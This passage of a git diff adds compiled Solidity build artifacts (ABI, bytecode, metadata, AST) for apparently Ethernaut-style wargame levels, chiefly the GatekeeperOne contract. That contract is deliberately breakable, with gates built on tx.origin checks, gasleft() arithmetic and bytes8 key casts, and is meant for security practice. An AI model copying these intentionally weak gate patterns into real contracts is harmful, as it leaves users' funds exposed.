Force"}],"id":52482,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"478:7:80","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52481,"name":"address","nodeType":"ElementaryTypeName","src":"478:7:80","typeDescriptions":{}}},"id":52484,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"478:17:80","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52485,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"496:7:80","memberName":"balance","nodeType":"MemberAccess","src":"478:25:80","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":52486,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"506:1:80","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"478:29:80","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":52471,"id":52488,"nodeType":"Return","src":"471:36:80"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"304:16:80","overrides":{"id":52468,"nodeType":"OverrideSpecifier","overrides":[],"src":"377:8:80"},"parameters":{"id":52467,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52464,"mutability":"mutable","name":"_instance","nameLocation":"337:9:80","nodeType":"VariableDeclaration","scope":52490,"src":"321:25:80","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":52463,"name":"address","nodeType":"ElementaryTypeName","src":"321:15:80","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":52466,"mutability":"mutable","name":"_player","nameLocation":"356:7:80","nodeType":"VariableDeclaration","scope":52490,"src":"348:15:80","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52465,"name":"address","nodeType":"ElementaryTypeName","src":"348:7:80","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"320:44:80"},"returnParameters":{"id":52471,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52470,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52490,"src":"395:4:80","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52469,"name":"bool","nodeType":"ElementaryTypeName","src":"395:4:80","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"394:6:80"},"scope":52491,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":52442,"name":"Level","nameLocations":["133:5:80"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"133:5:80"},"id":52443,"nodeType":"InheritanceSpecifier","src":"133:5:80"}],"canonicalName":"ForceFactory","contractDependencies":[52437],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52491,55508,46700,48281],"name":"ForceFactory","nameLocation":"117:12:80","scope":52492,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":80} \ No newline at end of file diff --git a/contracts/out/GatekeeperOne.sol/GatekeeperOne.json b/contracts/out/GatekeeperOne.sol/GatekeeperOne.json new file mode 100644 index 000000000..a854b79b3 --- /dev/null +++ b/contracts/out/GatekeeperOne.sol/GatekeeperOne.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"enter","inputs":[{"name":"_gateKey","type":"bytes8","internalType":"bytes8"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"entrant","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5061033a8061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80633370204e146100385780639db31d7714610060575b5f80fd5b61004b610046366004610286565b6100a4565b60405190151581526020015b60405180910390f35b5f5461007f9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610057565b5f3233036100b0575f80fd5b611fff5a6100be91906102cc565b156100c7575f80fd5b818060c01c61ffff168160c01c63ffffffff16146101525760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f2070617274206f6e65000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60c081901c63ffffffff8116036101d15760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f20706172742074776f00000000000000000000000000000000000000000000006064820152608401610149565b3261ffff168160c01c63ffffffff16146102535760405162461bcd60e51b815260206004820152602b60248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f20706172742074687265650000000000000000000000000000000000000000006064820152608401610149565b5f80547fffffffffffffffffffffffff000000000000000000000000000000000000000016321790556001915050919050565b5f60208284031215610296575f80fd5b81357fffffffffffffffff000000000000000000000000000000000000000000000000811681146102c5575f80fd5b9392505050565b5f826102ff577f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b50069056fea26469706673582212205420005dfc556417d569625d026a501d56b27af6c07caf3648e6877d9ba3995364736f6c63430008180033","sourceMap":"57:779:81:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610034575f3560e01c80633370204e146100385780639db31d7714610060575b5f80fd5b61004b610046366004610286565b6100a4565b60405190151581526020015b60405180910390f35b5f5461007f9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610057565b5f3233036100b0575f80fd5b611fff5a6100be91906102cc565b156100c7575f80fd5b818060c01c61ffff168160c01c63ffffffff16146101525760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f2070617274206f6e65000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60c081901c63ffffffff8116036101d15760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f20706172742074776f00000000000000000000000000000000000000000000006064820152608401610149565b3261ffff168160c01c63ffffffff16146102535760405162461bcd60e51b815260206004820152602b60248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f20706172742074687265650000000000000000000000000000000000000000006064820152608401610149565b5f80547fffffffffffffffffffffffff000000000000000000000000000000000000000016321790556001915050919050565b5f60208284031215610296575f80fd5b81357fffffffffffffffff000000000000000000000000000000000000000000000000811681146102c5575f80fd5b9392505050565b5f826102ff577f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b50069056fea26469706673582212205420005dfc556417d569625d026a501d56b27af6c07caf3648e6877d9ba3995364736f6c63430008180033","sourceMap":"57:779:81:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;687:147;;;;;;:::i;:::-;;:::i;:::-;;;516:14:155;;509:22;491:41;;479:2;464:18;687:147:81;;;;;;;;86:22;;;;;;;;;;;;719:42:155;707:55;;;689:74;;677:2;662:18;86:22:81;543:226:155;687:147:81;771:4;166:9;152:10;:23;144:32;;;;;;249:4:::1;237:9;:16;;;;:::i;:::-;:21:::0;229:30:::1;;;::::0;::::1;;752:8:::2;379;372:16;;337:52;;351:8;344:16;;337:52;;;329:106;;;::::0;-1:-1:-1;;;329:106:81;;1247:2:155;329:106:81::2;::::0;::::2;1229:21:155::0;1286:2;1266:18;;;1259:30;1325:34;1305:18;;;1298:62;1396:11;1376:18;;;1369:39;1425:19;;329:106:81::2;;;;;;;;;481:16;::::0;;::::2;453:44;::::0;::::2;::::0;445:98:::2;;;::::0;-1:-1:-1;;;445:98:81;;1657:2:155;445:98:81::2;::::0;::::2;1639:21:155::0;1696:2;1676:18;;;1669:30;1735:34;1715:18;;;1708:62;1806:11;1786:18;;;1779:39;1835:19;;445:98:81::2;1455:405:155::0;445:98:81::2;604:9;561:54;;575:8;568:16;;561:54;;;553:110;;;::::0;-1:-1:-1;;;553:110:81;;2067:2:155;553:110:81::2;::::0;::::2;2049:21:155::0;2106:2;2086:18;;;2079:30;2145:34;2125:18;;;2118:62;2216:13;2196:18;;;2189:41;2247:19;;553:110:81::2;1865:407:155::0;553:110:81::2;787:7:::3;:19:::0;;;::::3;797:9;787:19;::::0;;;;-1:-1:-1;269:1:81::2;687:147:::0;;;:::o;14:332:155:-;72:6;125:2;113:9;104:7;100:23;96:32;93:52;;;141:1;138;131:12;93:52;180:9;167:23;230:66;223:5;219:78;212:5;209:89;199:117;;312:1;309;302:12;199:117;335:5;14:332;-1:-1:-1;;;14:332:155:o;774:266::-;806:1;832;822:189;;867:77;864:1;857:88;968:4;965:1;958:15;996:4;993:1;986:15;822:189;-1:-1:-1;1025:9:155;;774:266::o","linkReferences":{}},"methodIdentifiers":{"enter(bytes8)":"3370204e","entrant()":"9db31d77"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"bytes8\",\"name\":\"_gateKey\",\"type\":\"bytes8\"}],\"name\":\"enter\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"entrant\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/GatekeeperOne.sol\":\"GatekeeperOne\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/GatekeeperOne.sol\":{\"keccak256\":\"0x56cca3158a5a2e02a5a3d955a442a58b9f3e28d667b5a590e8d21bd10414717e\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://4d0331f3fa95b69840d34ab5f63ef1d8abe4025f2fd88e9e800db027f0acbcf0\",\"dweb:/ipfs/QmP7N4B5rmWd5XiLyYnwZPVBLMEseTYVkZTDGLMmC3rBBQ\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"bytes8","name":"_gateKey","type":"bytes8"}],"stateMutability":"nonpayable","type":"function","name":"enter","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"entrant","outputs":[{"internalType":"address","name":"","type":"address"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/GatekeeperOne.sol":"GatekeeperOne"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/GatekeeperOne.sol":{"keccak256":"0x56cca3158a5a2e02a5a3d955a442a58b9f3e28d667b5a590e8d21bd10414717e","urls":["bzz-raw://4d0331f3fa95b69840d34ab5f63ef1d8abe4025f2fd88e9e800db027f0acbcf0","dweb:/ipfs/QmP7N4B5rmWd5XiLyYnwZPVBLMEseTYVkZTDGLMmC3rBBQ"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/GatekeeperOne.sol","id":52605,"exportedSymbols":{"GatekeeperOne":[52604]},"nodeType":"SourceUnit","src":"32:805:81","nodes":[{"id":52493,"nodeType":"PragmaDirective","src":"32:23:81","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":52604,"nodeType":"ContractDefinition","src":"57:779:81","nodes":[{"id":52495,"nodeType":"VariableDeclaration","src":"86:22:81","nodes":[],"constant":false,"functionSelector":"9db31d77","mutability":"mutable","name":"entrant","nameLocation":"101:7:81","scope":52604,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52494,"name":"address","nodeType":"ElementaryTypeName","src":"86:7:81","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":52507,"nodeType":"ModifierDefinition","src":"115:79:81","nodes":[],"body":{"id":52506,"nodeType":"Block","src":"134:60:81","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":52502,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":52498,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"152:3:81","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52499,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"156:6:81","memberName":"sender","nodeType":"MemberAccess","src":"152:10:81","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"expression":{"id":52500,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"166:2:81","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":52501,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"169:6:81","memberName":"origin","nodeType":"MemberAccess","src":"166:9:81","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"152:23:81","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":52497,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"144:7:81","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":52503,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"144:32:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52504,"nodeType":"ExpressionStatement","src":"144:32:81"},{"id":52505,"nodeType":"PlaceholderStatement","src":"186:1:81"}]},"name":"gateOne","nameLocation":"124:7:81","parameters":{"id":52496,"nodeType":"ParameterList","parameters":[],"src":"131:2:81"},"virtual":false,"visibility":"internal"},{"id":52520,"nodeType":"ModifierDefinition","src":"200:77:81","nodes":[],"body":{"id":52519,"nodeType":"Block","src":"219:58:81","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":52515,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":52513,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"id":52510,"name":"gasleft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-7,"src":"237:7:81","typeDescriptions":{"typeIdentifier":"t_function_gasleft_view$__$returns$_t_uint256_$","typeString":"function () view returns (uint256)"}},"id":52511,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"237:9:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"%","rightExpression":{"hexValue":"38313931","id":52512,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"249:4:81","typeDescriptions":{"typeIdentifier":"t_rational_8191_by_1","typeString":"int_const 8191"},"value":"8191"},"src":"237:16:81","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":52514,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"257:1:81","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"237:21:81","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":52509,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"229:7:81","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":52516,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"229:30:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52517,"nodeType":"ExpressionStatement","src":"229:30:81"},{"id":52518,"nodeType":"PlaceholderStatement","src":"269:1:81"}]},"name":"gateTwo","nameLocation":"209:7:81","parameters":{"id":52508,"nodeType":"ParameterList","parameters":[],"src":"216:2:81"},"virtual":false,"visibility":"internal"},{"id":52581,"nodeType":"ModifierDefinition","src":"283:398:81","nodes":[],"body":{"id":52580,"nodeType":"Block","src":"319:362:81","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint32","typeString":"uint32"},"id":52539,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"id":52529,"name":"_gateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52522,"src":"351:8:81","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"id":52528,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"344:6:81","typeDescriptions":{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"},"typeName":{"id":52527,"name":"uint64","nodeType":"ElementaryTypeName","src":"344:6:81","typeDescriptions":{}}},"id":52530,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"344:16:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint64","typeString":"uint64"}],"id":52526,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"337:6:81","typeDescriptions":{"typeIdentifier":"t_type$_t_uint32_$","typeString":"type(uint32)"},"typeName":{"id":52525,"name":"uint32","nodeType":"ElementaryTypeName","src":"337:6:81","typeDescriptions":{}}},"id":52531,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"337:24:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"arguments":[{"id":52536,"name":"_gateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52522,"src":"379:8:81","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"id":52535,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"372:6:81","typeDescriptions":{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"},"typeName":{"id":52534,"name":"uint64","nodeType":"ElementaryTypeName","src":"372:6:81","typeDescriptions":{}}},"id":52537,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"372:16:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint64","typeString":"uint64"}],"id":52533,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"365:6:81","typeDescriptions":{"typeIdentifier":"t_type$_t_uint16_$","typeString":"type(uint16)"},"typeName":{"id":52532,"name":"uint16","nodeType":"ElementaryTypeName","src":"365:6:81","typeDescriptions":{}}},"id":52538,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"365:24:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint16","typeString":"uint16"}},"src":"337:52:81","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"476174656b65657065724f6e653a20696e76616c6964206761746554687265652070617274206f6e65","id":52540,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"391:43:81","typeDescriptions":{"typeIdentifier":"t_stringliteral_29b1771185c3518a576bd8f9c5bd6f23be4870a353b1401c23e337f30a5d0cb8","typeString":"literal_string \"GatekeeperOne: invalid gateThree part one\""},"value":"GatekeeperOne: invalid gateThree part one"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_29b1771185c3518a576bd8f9c5bd6f23be4870a353b1401c23e337f30a5d0cb8","typeString":"literal_string \"GatekeeperOne: invalid gateThree part one\""}],"id":52524,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"329:7:81","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":52541,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"329:106:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52542,"nodeType":"ExpressionStatement","src":"329:106:81"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint64","typeString":"uint64"},"id":52555,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"id":52548,"name":"_gateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52522,"src":"467:8:81","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"id":52547,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"460:6:81","typeDescriptions":{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"},"typeName":{"id":52546,"name":"uint64","nodeType":"ElementaryTypeName","src":"460:6:81","typeDescriptions":{}}},"id":52549,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"460:16:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint64","typeString":"uint64"}],"id":52545,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"453:6:81","typeDescriptions":{"typeIdentifier":"t_type$_t_uint32_$","typeString":"type(uint32)"},"typeName":{"id":52544,"name":"uint32","nodeType":"ElementaryTypeName","src":"453:6:81","typeDescriptions":{}}},"id":52550,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"453:24:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"id":52553,"name":"_gateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52522,"src":"488:8:81","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"id":52552,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"481:6:81","typeDescriptions":{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"},"typeName":{"id":52551,"name":"uint64","nodeType":"ElementaryTypeName","src":"481:6:81","typeDescriptions":{}}},"id":52554,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"481:16:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"src":"453:44:81","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"476174656b65657065724f6e653a20696e76616c69642067617465546872656520706172742074776f","id":52556,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"499:43:81","typeDescriptions":{"typeIdentifier":"t_stringliteral_39fe204b27a3e3ed4d75f8d47c15461cce98adfa1823a4a7fd67c936eb0c84da","typeString":"literal_string \"GatekeeperOne: invalid gateThree part two\""},"value":"GatekeeperOne: invalid gateThree part two"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_39fe204b27a3e3ed4d75f8d47c15461cce98adfa1823a4a7fd67c936eb0c84da","typeString":"literal_string \"GatekeeperOne: invalid gateThree part two\""}],"id":52543,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"445:7:81","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":52557,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"445:98:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52558,"nodeType":"ExpressionStatement","src":"445:98:81"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint32","typeString":"uint32"},"id":52575,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"id":52564,"name":"_gateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52522,"src":"575:8:81","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"id":52563,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"568:6:81","typeDescriptions":{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"},"typeName":{"id":52562,"name":"uint64","nodeType":"ElementaryTypeName","src":"568:6:81","typeDescriptions":{}}},"id":52565,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"568:16:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint64","typeString":"uint64"}],"id":52561,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"561:6:81","typeDescriptions":{"typeIdentifier":"t_type$_t_uint32_$","typeString":"type(uint32)"},"typeName":{"id":52560,"name":"uint32","nodeType":"ElementaryTypeName","src":"561:6:81","typeDescriptions":{}}},"id":52566,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeT